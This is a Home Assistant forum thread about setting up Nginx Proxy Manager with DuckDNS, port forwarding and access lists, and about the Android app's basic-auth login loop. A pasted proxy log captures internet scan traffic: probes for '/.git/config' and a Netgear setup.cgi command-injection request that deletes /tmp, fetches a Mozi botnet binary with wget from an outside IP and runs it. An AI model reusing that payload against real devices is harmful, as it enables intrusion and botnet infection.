Forwarded port 443 to port 443 bus still the same problem.
Could it be that I do not have static ip? My internet provider does not offer it for private customers 
For that you have DuckDNS.
Are you accessing it through https:// ? Please also show your NPM settings. And you have now 443 forwarded to 443 and 80 to 80?
The only way I can log in ti HA is through local IP and Nabu Casa.
When I try https://MY_DOMAIN.duckdns.org I get this page.
Did you open the Web UI and configure a proxy server? I need to see the settings of the reverse proxy in Nginx not the settings of the add-on.
Any errora in the NPM logs? Did you generate the certificate again after fixing the port forwards?
Yes, I requested a new certificate after the port forwarding.
Here is my NPM log (replaced my domain with xxxxxxxx :
[s6-init] making user provided files available at /var/run/s6/etc...exited 0.
[s6-init] ensuring user provided files have correct perms...exited 0.
[fix-attrs.d] applying ownership & permissions fixes...
[fix-attrs.d] permissions: applying...
[fix-attrs.d] permissions: exited 0.
[fix-attrs.d] done.
[cont-init.d] executing container initialization scripts...
[cont-init.d] 00-banner.sh: executing...
-----------------------------------------------------------
Add-on: Nginx Proxy Manager
Manage Nginx proxy hosts with a simple, powerful interface
-----------------------------------------------------------
Add-on version: 0.8.2
You are running the latest version of this add-on.
System: Home Assistant OS 5.9 (armv7 / raspberrypi3)
Home Assistant Core: 2020.12.1
Home Assistant Supervisor: 2020.12.7
-----------------------------------------------------------
Please, share the above information when looking for help
or support in, e.g., GitHub, forums or the Discord chat.
-----------------------------------------------------------
[cont-init.d] 00-banner.sh: exited 0.
[cont-init.d] 01-log-level.sh: executing...
Log level is set to INFO
[cont-init.d] 01-log-level.sh: exited 0.
[cont-init.d] mysql.sh: executing...
[cont-init.d] mysql.sh: exited 0.
[cont-init.d] nginx.sh: executing...
[cont-init.d] nginx.sh: exited 0.
[cont-init.d] npm.sh: executing...
[cont-init.d] npm.sh: exited 0.
[cont-init.d] done.
[services.d] starting services
[services.d] done.
[20:15:53] INFO: Starting NGinx...
[20:15:53] INFO: Starting the Manager...
[12/30/2020] [9:16:04 PM] [Migrate ] › ℹ info Current database version: 20201014143841
[12/30/2020] [9:16:04 PM] [IP Ranges] › ℹ info Fetching IP Ranges from online services...
[12/30/2020] [9:16:04 PM] [IP Ranges] › ℹ info Fetching https://ip-ranges.amazonaws.com/ip-ranges.json
[12/30/2020] [9:16:05 PM] [IP Ranges] › ℹ info Fetching https://www.cloudflare.com/ips-v4
[12/30/2020] [9:16:05 PM] [IP Ranges] › ℹ info Fetching https://www.cloudflare.com/ips-v6
[12/30/2020] [9:16:06 PM] [SSL ] › ℹ info Let's Encrypt Renewal Timer initialized
[12/30/2020] [9:16:06 PM] [SSL ] › ℹ info Renewing SSL certs close to expiry...
[12/30/2020] [9:16:06 PM] [IP Ranges] › ℹ info IP Ranges Renewal Timer initialized
[12/30/2020] [9:16:06 PM] [Global ] › ℹ info Backend PID 548 listening on port 3000 ...
[12/30/2020] [9:16:15 PM] [Nginx ] › ℹ info Reloading Nginx
[12/30/2020] [9:16:15 PM] [SSL ] › ℹ info Renew Complete
[30/Dec/2020:20:16:18 +0000] - 404 404 - HEAD https xxxxxxxx.duckdns.org "/.git/config" [Client 217.27.176.227] [Length 0] [Gzip -] [Sent-to 192.168.1.119] "python-requests/2.12.4" "-"
[30/Dec/2020:20:16:19 +0000] - 404 404 - HEAD https xxxxxxxx.duckdns.org "/.git/config" [Client 217.27.176.227] [Length 0] [Gzip -] [Sent-to 192.168.1.119] "python-requests/2.12.4" "-"
[30/Dec/2020:20:16:22 +0000] 404 - GET http localhost-nginx-proxy-manager "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://42.232.235.130:44226/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1" [Client 42.232.235.130] [Length 146] [Gzip -] "-" "-"
[30/Dec/2020:20:16:32 +0000] - 404 404 - HEAD https xxxxxxxx.duckdns.org "/.git/config" [Client 217.27.176.227] [Length 0] [Gzip -] [Sent-to 192.168.1.119] "python-requests/2.12.4" "-"
[30/Dec/2020:20:16:35 +0000] - - 301 - GET http xxxxxxxx.duckdns.org "/" [Client 78.47.246.240] [Length 162] [Gzip -] [Sent-to 192.168.1.119] "python-requests/2.25.1" "-"
[30/Dec/2020:20:16:36 +0000] - 200 200 - GET https xxxxxxxx.duckdns.org "/" [Client 78.47.246.240] [Length 1389] [Gzip 2.42] [Sent-to 192.168.1.119] "python-requests/2.25.1" "-"
`QueryBuilder#allowEager` method is deprecated. You should use `allowGraph` instead. `allowEager` method will be removed in 3.0
`QueryBuilder#eager` method is deprecated. You should use the `withGraphFetched` method instead. `eager` method will be removed in 3.0
QueryBuilder#omit is deprecated. This method will be removed in version 3.0
Has anyone gotten Agent DVR working as a custom location? I’m able to bring up Agent DVR but it times out trying to connect. Here’s my config.
Im having the same issue where my HA instance isn’t accessible after the login but before the UI loads. Was there anything else you had to do for this? Or restart anything? Or wait a certain amount of time? I forgot to set the web-proxy on mine as well. But enabling mine isn’t working. I seem to be able to access everything else in my domain though (Nas, pihole, etc).
Ever since I used this add-on, I’m getting very slow load times, anyone else? Everything seems to setup correctly.
Hey guys, I need some help with my configuration since I don’t know if it’s a bug in the home assistant app or a configuration problem.
Today I set up the proxy manager in an proxmox lxc container.
SSL is working fine but as soon as I activate an access list I’m unable to confirm the login prompt in the app.
Let me show:
If I try to configure a new connection in the app via my subdomain, I get the message “forbidden” and no home assistance instance was found.
Okay could be possible because there was no login prompt.
So I used my internal ip to set up the app, opened the configuration and changed the server address. This is where it gets strange.
The app asks for my nginx access credentials.
Fine so far. I entered them and can see the interface loading. After that the prompt appears again
I won’t go away. No matter how often I try to enter my credentials. And if I check “remember” the app crash’s on startup and you have to reset it.
Did anyone experienced the same? Or is this a known limitation of the app since I couldn’t find any information about that. Its working fine on any browser. But not the in the home assistant app.
This is the host configuration
(Ignore the HSTS Subdomain setting. This was still enabled from testing.)
Sounds like your port forwarding is set incorrectly? 
port 80 and 443 must point towards the NPM lxc container.
Of course it does. Otherwise the certificate creation would fail.
Its working in the browser so i thought it could be related to the app.
And its happening on my Xiaomi phone and my Samsung tablet so its not vendor related.
No problems with Chrome or Firefox.
I hoped I’m not the only one that uses access lists as an extra layer of security for access 
Hi,
You’ve added access list in front of Home Assistant, right? It shouldn’t be a problem; I don’t currently use it but about 4 HA versions back it worked. Also, post a printscreen from the access list tab in NPM.
Could you make postings/printscreens in English (English is not my native language either but it would be easier to debug an error message if it is something like “user not found” or “user/password combination mismatch” as I understand only a little bit of German)?
Here is a screenshot from the access list. Nothing special. Just for testing
Since there isnt an error message I cant really tell what the problem is. The login window just pops up again after I entered my credentials from the access list. Also I cant find the correct log in the container.
But its just the app thats not working.
I added this to the configuration.yaml
http:
use_x_forwarded_for: true
trusted_proxies:
- 192.168.x.x
And tried to add this as custom config to the npm host since i found it in another thread
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
proxy_set_header X-Forwarded-Host $remote_addr;
real_ip_header X-Real-IP;
real_ip_recursive on;
- Delete all modifications that you made to configuration.yaml and Advanced tab in NPM (moreover, do not try to reverse Home Assistant through subfolder or add parameters in the Advanced tab as it is not supported)
- Enable
Pass Auth to Hostin Access List
Sadly nothing changed. What bothers me is that when I set up a new connection in the home assistant app it instantly says “forbidden” and doesnt even ask for proxy credentials.
For me it seems something is wrong with the app?
Can you check if you have ip_bans.yaml in your config directory? Try to delete it and restart HA
This file doesn’t exist in my configuration folder
Seems that there was already an github issue but it seems to be closed without any comment
Save HTTP Basic Auth Credentials · Issue #526 · home-assistant/android · GitHub